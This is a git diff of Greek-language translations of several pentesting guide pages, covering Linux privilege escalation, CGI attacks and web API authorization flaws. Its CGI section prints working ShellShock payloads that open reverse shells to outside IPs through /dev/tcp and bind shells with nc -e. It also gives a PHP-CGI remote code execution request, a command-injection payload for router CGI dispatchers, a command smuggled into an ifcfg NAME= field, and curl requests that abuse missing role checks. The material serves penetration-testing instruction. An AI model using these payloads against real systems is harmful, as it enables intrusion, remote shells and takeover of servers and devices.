**σύστημά σας είναι pwned**. +Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα `ifcf-` script στο _/etc/sysconfig/network-scripts_ **ή** να **προσαρμόσει/τροποποιήσει** ένα υπάρχον, τότε το **system is pwned**. -Τα network scripts, όπως το _ifcg-eth0_ για παράδειγμα, χρησιμοποιούνται για συνδέσεις δικτύου. Μοιάζουν ακριβώς με αρχεία .INI. Ωστόσο, αυτά \~sourced\~ στο Linux από το Network Manager (dispatcher.d). +Τα network scripts, _ifcg-eth0_ για παράδειγμα, χρησιμοποιούνται για συνδέσεις δικτύου. Μοιάζουν ακριβώς με αρχεία .INI. Ωστόσο, γίνονται \~sourced\~ στο Linux από το Network Manager (dispatcher.d). -Στη δική μου περίπτωση, η τιμή `NAME=` σε αυτά τα network scripts δεν χειρίζεται σωστά. Εάν έχετε **κενό/blank space στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το κενό**. Αυτό σημαίνει ότι **όλα όσα βρίσκονται μετά το πρώτο κενό εκτελούνται ως root**. +Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα network scripts δεν χειρίζεται σωστά. Εάν έχετε **λευκό/κενό χώρο στο όνομα το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό χώρο**. Αυτό σημαίνει ότι **ό,τι βρίσκεται μετά το πρώτο κενό εκτελείται ως root**. Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1452,17 +1445,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Σημείωση: το κενό διάστημα μεταξύ Network και /bin/id_) +(_Σημείωση: το κενό ανάμεσα σε Network και /bin/id_) ### **init, init.d, systemd, and rc.d** -Ο κατάλογος `/etc/init.d` φιλοξενεί **scripts** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών του Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart` και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω symbolic links που βρίσκονται σε `/etc/rc?.d/`. Μια εναλλακτική διαδρομή σε συστήματα Redhat είναι `/etc/rc.d/init.d`. +Ο κατάλογος `/etc/init.d` φιλοξενεί **scripts** για το System V init (SysVinit), το **παραδοσιακό σύστημα διαχείρισης υπηρεσιών του Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart` και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελεστούν απευθείας ή μέσω symbolic links που βρίσκονται στο `/etc/rc?.d/`. Μια εναλλακτική διαδρομή σε συστήματα Redhat είναι το `/etc/rc.d/init.d`. -Από την άλλη, το `/etc/init` συνδέεται με το Upstart, ένα νεότερο **service management** που εισήγαγε η Ubuntu, το οποίο χρησιμοποιεί αρχεία διαμόρφωσης για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση σε Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται παράλληλα με τις Upstart ρυθμίσεις λόγω ενός compatibility layer στο Upstart. +Αντίθετα, το `/etc/init` σχετίζεται με το Upstart, ένα νεότερο σύστημα διαχείρισης υπηρεσιών που εισήχθη από την Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα SysVinit scripts εξακολουθούν να χρησιμοποιούνται μαζί με τις Upstart διαμορφώσεις λόγω ενός compatibility layer στο Upstart. -**systemd** εμφανίζεται ως ένας σύγχρονος initializer και service manager, προσφέροντας προηγμένες δυνατότητες όπως on-demand daemon starting, automount management και system state snapshots. Οργανώνει αρχεία σε `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαχείριση του συστήματος. +Το systemd εμφανίζεται ως ένας σύγχρονος initialization και service manager, προσφέροντας προηγμένες δυνατότητες όπως on-demand εκκίνηση daemons, διαχείριση automounts και snapshots κατάστασης του συστήματος. Οργανώνει αρχεία σε `/usr/lib/systemd/` για πακέτα διανομής και σε `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαχείριση του συστήματος. -## Άλλες τεχνικές +## Άλλα κόλπα ### NFS Privilege escalation @@ -1487,7 +1480,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Τα Android rooting frameworks συχνά κάνουν hook ένα syscall για να εκθέσουν privileged kernel functionality σε έναν userspace manager. Αδύναμη authentication του manager (π.χ. signature checks βασισμένα στο FD-order ή προβληματικά password schemes) μπορεί να επιτρέψει σε μια local app να μιμηθεί τον manager και να escalate to root σε ήδη-rooted συσκευές. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: +Τα Android rooting frameworks συχνά κάνουν hook σε ένα syscall για να εκθέσουν privileged kernel λειτουργίες σε έναν userspace manager. Αδύναμη authentication του manager (π.χ. έλεγχοι signatures βασισμένοι σε FD-order ή κακοί μηχανισμοί password) μπορεί να επιτρέψει σε μια τοπική εφαρμογή να προσποιηθεί τον manager και να αποκτήσει root σε συσκευές που είναι ήδη rooted. Μάθετε περισσότερα και λεπτομέρειες εκμετάλλευσης εδώ: {{#ref}} @@ -1496,15 +1489,15 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Η regex-driven service discovery στο VMware Tools/Aria Operations μπορεί να εξάγει ένα binary path από τις command lines των processes και να το εκτελέσει με -v υπό privileged context. Επιεικείς patterns (π.χ. χρήση \S) μπορεί να ταιριάξουν attacker-staged listeners σε writable τοποθεσίες (π.χ. /tmp/httpd), οδηγώντας σε εκτέλεση ως root (CWE-426 Untrusted Search Path). +Η ανακάλυψη υπηρεσιών με βάση regex στο VMware Tools/Aria Operations μπορεί να εξάγει ένα path δυαδικού αρχείου από τις γραμμές εντολών διαδικασιών και να το εκτελέσει με -v σε privileged context. Επιεικείς patterns (π.χ. χρήση \S) μπορεί να ταιριάξουν με attacker-staged listeners σε εγγράψιμες τοποθεσίες (π.χ. /tmp/httpd), οδηγώντας σε εκτέλεση ως root (CWE-426 Untrusted Search Path). -Μάθετε περισσότερα και δείτε ένα γενικευμένο pattern που εφαρμόζεται και σε άλλα discovery/monitoring stacks εδώ: +Μάθετε περισσότερα και δείτε ένα γενικευμένο pattern εφαρμόσιμο σε άλλα discovery/monitoring stacks εδώ: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Kernel Security Protections +## Προστασίες Ασφαλείας Πυρήνα - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1515,14 +1508,14 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md ## Linux/Unix Privesc Tools -### **Το καλύτερο εργαλείο για την εύρεση Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Το καλύτερο εργαλείο για την αναζήτηση Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Εντοπίζει kernel vulnerabilities σε Linux και MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 34e4509af..5b7886484 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -3,28 +3,28 @@ {{#include ../../banners/hacktricks-training.md}} -## Πληροφορίες +## Information -Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε συμβιβάσει έναν server που μπορεί να εκτελέσει _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **αλλάξετε την επέκταση** από **.pl** σε **.cgi**, δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και **πρόσβαση** στο reverse shell **από τον web browser** για να το εκτελέσετε. -Για να ελέγξετε για **CGI vulns** συνιστάται η χρήση `nikto -C all` \(και όλα τα plugins\) +Οι **CGI scripts are perl scripts**, επομένως, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί _**.cgi**_ scripts μπορείτε να **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), να **change the extension** από **.pl** σε **.cgi**, να δώσετε **execute permissions** \(`chmod +x`\) και να **access** το reverse shell **from the web browser** για να το εκτελέσετε. +Για να δοκιμάσετε για **CGI vulns** συνιστάται να χρησιμοποιήσετε `nikto -C all` \(και όλα τα plugins\) ## **ShellShock** -**ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος γραμμής εντολών **Bash** σε Unix-based λειτουργικά συστήματα. Στοχεύει την ικανότητα του Bash να τρέχει εντολές που του περνάνε εφαρμογές. Η ευπάθεια εντοπίζεται στη χειραγώγηση των **μεταβλητών περιβάλλοντος (environment variables)**, που είναι δυναμικές ονομαστικές τιμές που επηρεάζουν τον τρόπο εκτέλεσης διεργασιών σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσθέτοντας **κακόβουλο κώδικα** σε environment variables, ο οποίος εκτελείται όταν η μεταβλητή λαμβάνεται. Αυτό επιτρέπει σε επιτιθέμενους να ενδεχομένως συμβιβάσουν το σύστημα. +Το **ShellShock** είναι μια ευπάθεια που επηρεάζει το ευρέως χρησιμοποιούμενο κέλυφος εντολών **Bash** σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει την ικανότητα της **Bash** να εκτελεί εντολές που της περνάνε εφαρμογές. Η ευπάθεια εντοπίζεται στη χειραγώγηση των μεταβλητών περιβάλλοντος, οι οποίες είναι δυναμικά ονομασμένες τιμές που επηρεάζουν το πώς τρέχουν οι διεργασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσαρτώντας **malicious code** σε μεταβλητές περιβάλλοντος, το οποίο εκτελείται όταν η μεταβλητή ληφθεί. Αυτό μπορεί να επιτρέψει σε επιτιθέμενους να παραβιάσουν το σύστημα. -Εκμεταλλευόμενη αυτή την ευπάθεια η **σελίδα μπορεί να εμφανίσει σφάλμα**. +Εκμεταλλευόμενη αυτή την ευπάθεια, η σελίδα μπορεί να εμφανίσει σφάλμα. -Μπορείτε να **εντοπίσετε** αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια **παλιά έκδοση Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**. +Μπορείτε να βρείτε αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια παλιά έκδοση του **Apache** και **cgi_mod** \(με φάκελο cgi\) ή χρησιμοποιώντας **nikto**. ### **Δοκιμή** -Οι περισσότερες δοκιμές βασίζονται στο echo κάποιου κειμένου και αναμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην web απάντηση. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις cgi σελίδες και δοκιμάστε τις. +Οι περισσότερες δοκιμές βασίζονται στο να echo-άρετε κάτι και να αναμένετε ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του web. Εάν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, εντοπίστε όλες τις cgi σελίδες και δοκιμάστε τις. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(reflected, blind and out-of-band\)** +## **Curl \(ανακλώμενο, τυφλό και εκτός-ζώνης\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -37,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http: ```bash python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi ``` -### Exploit +### Εκμετάλλευση ```bash #Bind Shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8 @@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Κεντροποιημένοι CGI dispatchers (δρομολόγηση ενός μοναδικού endpoint μέσω παραμέτρων επιλογέα) +## Κεντρικοί CGI dispatchers (single endpoint routing via selector parameters) -Πολλές ενσωματωμένες web UIs πολυπλέκουν δεκάδες προνομιούχες ενέργειες πίσω από ένα μοναδικό CGI endpoint (π.χ. `/cgi-bin/cstecgi.cgi`) και χρησιμοποιούν παράμετρο επιλογέα όπως `topicurl=` για να δρομολογήσουν το αίτημα σε μια εσωτερική συνάρτηση. +Πολλά embedded web UIs διαχειρίζονται δεκάδες privileged actions πίσω από ένα μόνο CGI endpoint (για παράδειγμα, `/cgi-bin/cstecgi.cgi`) και χρησιμοποιούν έναν selector parameter όπως `topicurl=` για να δρομολογήσουν το αίτημα σε μια εσωτερική λειτουργία. -Μεθοδολογία για την εκμετάλλευση αυτών των δρομολογητών: +Methodology to exploit these routers: -- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. -- Test unauthenticated reachability: some handlers forget auth checks and are directly callable. -- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. +- Εντοπίστε handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. +- Test unauthenticated reachability: μερικοί handlers ξεχνούν τα auth checks και είναι απευθείας callable. +- Επικεντρωθείτε σε handlers που invoke system utilities ή touch files· αδύναμοι validators συχνά μπλοκάρουν μόνο λίγους χαρακτήρες και μπορεί να παραβλέψουν το leading hyphen `-`. -Γενικά σχήματα exploit: +Generic exploit shapes: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -75,32 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; # 3) Validator bypass → arbitrary file write in file-touching handlers topicurl=setWizardCfg&=/etc/init.d/S99rc ``` -Εντοπισμός και θωράκιση: +Ανίχνευση και θωράκιση: -- Παρακολουθήστε για μη-εξουσιοδοτημένα αιτήματα προς κεντρικά CGI endpoints με `topicurl` ρυθμισμένο σε ευαίσθητους handlers. -- Σημαδέψτε παραμέτρους που ξεκινούν με `-` (argv option injection attempts). -- Vendors: επιβάλετε authentication σε όλους τους state-changing handlers, επικυρώστε με αυστηρές allowlists/types/lengths, και μην περνάτε ποτέ user-controlled strings ως command-line flags. +- Πρόσεχε μη αυθεντικοποιημένα αιτήματα προς κεντρικά CGI endpoints με `topicurl` ρυθμισμένο σε ευαίσθητους handlers. +- Επισήμανε παραμέτρους που ξεκινούν με `-` (προσπάθειες argv option injection). +- Προμηθευτές: επιβάλετε αυθεντικοποίηση σε όλους τους state-changing handlers, επικυρώστε χρησιμοποιώντας αυστηρές allowlists/τύπους/μήκη, και μην περνάτε ποτέ user-controlled strings ως command-line flags. -## Παλιό PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -Βασικά, αν cgi είναι ενεργό και php είναι "old" \(<5.3.12 / < 5.4.2\) μπορείτε να εκτελέσετε κώδικα. -Για να εκμεταλλευτείτε αυτή την ευπάθεια πρέπει να αποκτήσετε πρόσβαση σε κάποιο PHP αρχείο του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\). -Για να δοκιμάσετε αυτή την ευπάθεια, μπορείτε να προσπελάσετε για παράδειγμα `/index.php?-s` \(σημειώστε το `-s`\) και **ο source code της εφαρμογής θα εμφανιστεί στην απάντηση**. +Βασικά, εάν cgi είναι ενεργό και php είναι "παλιό" \(<5.3.12 / < 5.4.2\) μπορείτε να εκτελέσετε κώδικα. +Για να εκμεταλλευτείτε αυτήν την ευπάθεια πρέπει να αποκτήσετε πρόσβαση σε κάποιο PHP αρχείο του web server χωρίς να στείλετε παραμέτρους \(ειδικά χωρίς να στείλετε τον χαρακτήρα "="\). +Στη συνέχεια, για να δοκιμάσετε αυτή την ευπάθεια, μπορείτε να προσπελάσετε για παράδειγμα `/index.php?-s` \(προσέξτε το `-s`\) και **ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση**. -Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε το ειδικό ερώτημα: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και ο **PHP code** που θα εκτελεστεί στο **body του αιτήματος**. +Στη συνέχεια, για να αποκτήσετε **RCE** μπορείτε να στείλετε το ειδικό query: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` και ο **PHP κώδικας** να εκτελεστεί στο **σώμα του αιτήματος**. Παράδειγμα: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**Περισσότερες πληροφορίες για το vuln και πιθανές exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Περισσότερες πληροφορίες σχετικά με το vuln και πιθανές exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** ## **Proxy \(MitM to Web server requests\)** -Το CGI δημιουργεί μια environment variable για κάθε header στο http request. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com" +Το CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε header στο HTTP request. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com" -Καθώς η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον web server, δοκιμάστε να στείλετε ένα **header** που περιέχει: "**Proxy: <IP_attacker>:<PORT>**". Αν ο server πραγματοποιήσει κάποια αίτηση κατά τη διάρκεια της συνεδρίας, θα μπορείτε να καταγράψετε κάθε αίτηση που κάνει ο server. +Εφόσον η μεταβλητή HTTP_PROXY μπορεί να χρησιμοποιηθεί από τον web server, δοκιμάστε να στείλετε ένα **header** που περιέχει: "**Proxy: <IP_attacker>:<PORT>**" — αν ο server πραγματοποιήσει κάποιο request κατά τη διάρκεια της συνεδρίας, θα μπορέσετε να καταγράψετε κάθε request που κάνει ο server. -## **Αναφορές** +## **References** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 5a4ad9f83..0cecb78e2 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,54 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## API Pentesting Methodology Summary +## Περίληψη Μεθοδολογίας API Pentesting -Η δοκιμή διείσδυσης APIs περιλαμβάνει μια δομημένη προσέγγιση για την αποκάλυψη ευπαθειών. Αυτός ο οδηγός συνοψίζει μια ολοκληρωμένη μεθοδολογία, τονίζοντας πρακτικές τεχνικές και εργαλεία. +Το pentesting των APIs απαιτεί μια δομημένη προσέγγιση για την ανίχνευση ευπαθειών. Αυτός ο οδηγός συνοψίζει μια ολοκληρωμένη μεθοδολογία, δίνοντας έμφαση σε πρακτικές τεχνικές και εργαλεία. -### **Understanding API Types** +### **Κατανόηση των τύπων API** -- **SOAP/XML Web Services**: Χρησιμοποιούν τη μορφή WSDL για τεκμηρίωση, που συνήθως βρίσκεται σε διαδρομές `?wsdl`. Εργαλεία όπως το **SOAPUI** και το **WSDLer** (Burp Suite Extension) είναι καθοριστικά για την ανάλυση και τη δημιουργία αιτημάτων. Παράδειγμα τεκμηρίωσης είναι διαθέσιμο στο [DNE Online](http://www.dneonline.com/calculator.asmx). -- **REST APIs (JSON)**: Η τεκμηρίωση συχνά έρχεται σε αρχεία WADL, ωστόσο εργαλεία όπως το [Swagger UI](https://swagger.io/tools/swagger-ui/) παρέχουν μια πιο φιλική προς το χρήστη διεπαφή για αλληλεπίδραση. Το **Postman** είναι ένα πολύτιμο εργαλείο για τη δημιουργία και τη διαχείριση παραδειγματικών αιτημάτων. -- **GraphQL**: Μια γλώσσα ερωτήσεων για APIs που προσφέρει μια πλήρη και κατανοητή περιγραφή των δεδομένων στο API σας. +- **SOAP/XML Web Services**: Χρησιμοποιούν τη μορφή WSDL για τεκμηρίωση, συνήθως βρίσκονται σε διαδρομές `?wsdl`. Εργαλεία όπως **SOAPUI** και **WSDLer** (Burp Suite Extension) είναι χρήσιμα για parsing και δημιουργία requests. Παράδειγμα τεκμηρίωσης είναι διαθέσιμο στο [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: Η τεκμηρίωση συχνά παρέχεται σε αρχεία WADL, αλλά εργαλεία όπως [Swagger UI](https://swagger.io/tools/swagger-ui/) προσφέρουν πιο φιλική διεπαφή για αλληλεπίδραση. **Postman** είναι ένα πολύτιμο εργαλείο για τη δημιουργία και διαχείριση παραδειγματικών requests. +- **GraphQL**: Μια γλώσσα ερωτημάτων για APIs που προσφέρει μια πλήρη και κατανοητή περιγραφή των δεδομένων στο API σας. ### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): Ένα σκόπιμα ευάλωτο API για πρακτική εξάσκηση, καλύπτοντας τις 10 κορυφαίες ευπάθειες API του OWASP. +- [**VAmPI**](https://github.com/erev0s/VAmPI): Ένα σκόπιμα ευάλωτο API για πρακτική άσκηση, που καλύπτει τα OWASP top 10 API vulnerabilities. -### **Effective Tricks for API Pentesting** +### **Αποτελεσματικά κόλπα για API Pentesting** -- **SOAP/XML Vulnerabilities**: Εξερευνήστε τις ευπάθειες XXE, αν και οι δηλώσεις DTD συχνά περιορίζονται. Οι ετικέτες CDATA μπορεί να επιτρέπουν την εισαγωγή payload αν το XML παραμείνει έγκυρο. -- **Privilege Escalation**: Δοκιμάστε τα endpoints με διαφορετικά επίπεδα προνομίων για να εντοπίσετε πιθανότητες μη εξουσιοδοτημένης πρόσβασης. -- **CORS Misconfigurations**: Εξετάστε τις ρυθμίσεις CORS για πιθανή εκμετάλλευση μέσω επιθέσεων CSRF από αυθεντικοποιημένες συνεδρίες. -- **Endpoint Discovery**: Εκμεταλλευτείτε τα πρότυπα API για να ανακαλύψετε κρυφά endpoints. Εργαλεία όπως οι fuzzers μπορούν να αυτοματοποιήσουν αυτή τη διαδικασία. -- **Parameter Tampering**: Πειραματιστείτε με την προσθήκη ή την αντικατάσταση παραμέτρων σε αιτήματα για να αποκτήσετε μη εξουσιοδοτημένα δεδομένα ή λειτουργίες. -- **HTTP Method Testing**: Διαφοροποιήστε τις μεθόδους αιτημάτων (GET, POST, PUT, DELETE, PATCH) για να αποκαλύψετε απροσδόκητες συμπεριφορές ή αποκαλύψεις πληροφοριών. -- **Content-Type Manipulation**: Εναλλάξτε μεταξύ διαφορετικών τύπων περιεχομένου (x-www-form-urlencoded, application/xml, application/json) για να δοκιμάσετε ζητήματα ανάλυσης ή ευπάθειες. -- **Advanced Parameter Techniques**: Δοκιμάστε με απροσδόκητους τύπους δεδομένων σε JSON payloads ή πειραματιστείτε με XML δεδομένα για XXE injections. Δοκιμάστε επίσης την ρύπανση παραμέτρων και χαρακτήρες wildcard για ευρύτερη δοκιμή. -- **Version Testing**: Παλαιότερες εκδόσεις API μπορεί να είναι πιο ευάλωτες σε επιθέσεις. Ελέγξτε πάντα και δοκιμάστε σε πολλές εκδόσεις API. +- **SOAP/XML Vulnerabilities**: Εξετάστε XXE ευπάθειες, αν και δηλώσεις DTD συχνά περιορίζονται. Τα tags CDATA μπορεί να επιτρέψουν εισαγωγή payload εφόσον το XML παραμένει έγκυρο. +- **Privilege Escalation**: Δοκιμάστε endpoints με διαφορετικά επίπεδα προνομίων για να εντοπίσετε πιθανότητες μη εξουσιοδοτημένης πρόσβασης. +- **CORS Misconfigurations**: Εξετάστε τις ρυθμίσεις CORS για πιθανή εκμεταλλευσιμότητα μέσω CSRF επιθέσεων από authenticated συνεδρίες. +- **Endpoint Discovery**: Εκμεταλλευτείτε μοτίβα API για να ανακαλύψετε κρυμμένα endpoints. Εργαλεία όπως fuzzers μπορούν να αυτοματοποιήσουν αυτή τη διαδικασία. +- **Parameter Tampering**: Πειραματιστείτε με την προσθήκη ή αντικατάσταση παραμέτρων σε requests για πρόσβαση σε μη εξουσιοδοτημένα δεδομένα ή λειτουργίες. +- **HTTP Method Testing**: Διαφοροποιήστε τις μεθόδους request (GET, POST, PUT, DELETE, PATCH) για να αποκαλύψετε απροσδόκητες συμπεριφορές ή διαρροές πληροφοριών. +- **Content-Type Manipulation**: Αλλάξτε μεταξύ διαφορετικών content types (x-www-form-urlencoded, application/xml, application/json) για να δοκιμάσετε προβλήματα parsing ή ευπάθειες. +- **Advanced Parameter Techniques**: Δοκιμάστε απροσδόκητους τύπους δεδομένων σε JSON payloads ή πειράξτε XML δεδομένα για XXE injections. Δοκιμάστε επίσης parameter pollution και wildcard χαρακτήρες για ευρύτερους ελέγχους. +- **Version Testing**: Παλιά API versions μπορεί να είναι πιο ευάλωτες σε επιθέσεις. Ελέγχετε πάντα και δοκιμάζετε πολλαπλές εκδόσεις API. -### **Tools and Resources for API Pentesting** +### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls -- [**kiterunner**](https://github.com/assetnote/kiterunner): Εξαιρετικό για την ανακάλυψη API endpoints. Χρησιμοποιήστε το για να σαρώσετε και να κάνετε brute force διαδρομές και παραμέτρους κατά των στοχευμένων APIs. +Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, `protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by `protectedProcedure`. + +- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box signal: `POST /api/trpc/.` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability. +- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`. + +Παράδειγμα ευάλωτου μοτίβου (χωρίς έλεγχο ρόλου/άδειας): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Πρακτική εκμετάλλευση (black-box) + +1) Δημιουργήστε έναν κανονικό λογαριασμό και αποκτήστε μια πιστοποιημένη συνεδρία (cookies/headers). +2) Απαριθμήστε εργασίες παρασκηνίου ή άλλους ευαίσθητους πόρους μέσω διαδικασιών “list”/“all”/“status”. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) Εκτέλεση προνομιούχων ενεργειών όπως η επανεκκίνηση μιας εργασίας: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Επιπτώσεις προς αξιολόγηση + +- Διαφθορά δεδομένων μέσω non-idempotent restarts: Ο εξαναγκασμός ταυτόχρονων εκτελέσεων migrations/workers μπορεί να δημιουργήσει race conditions και ασυνεπείς 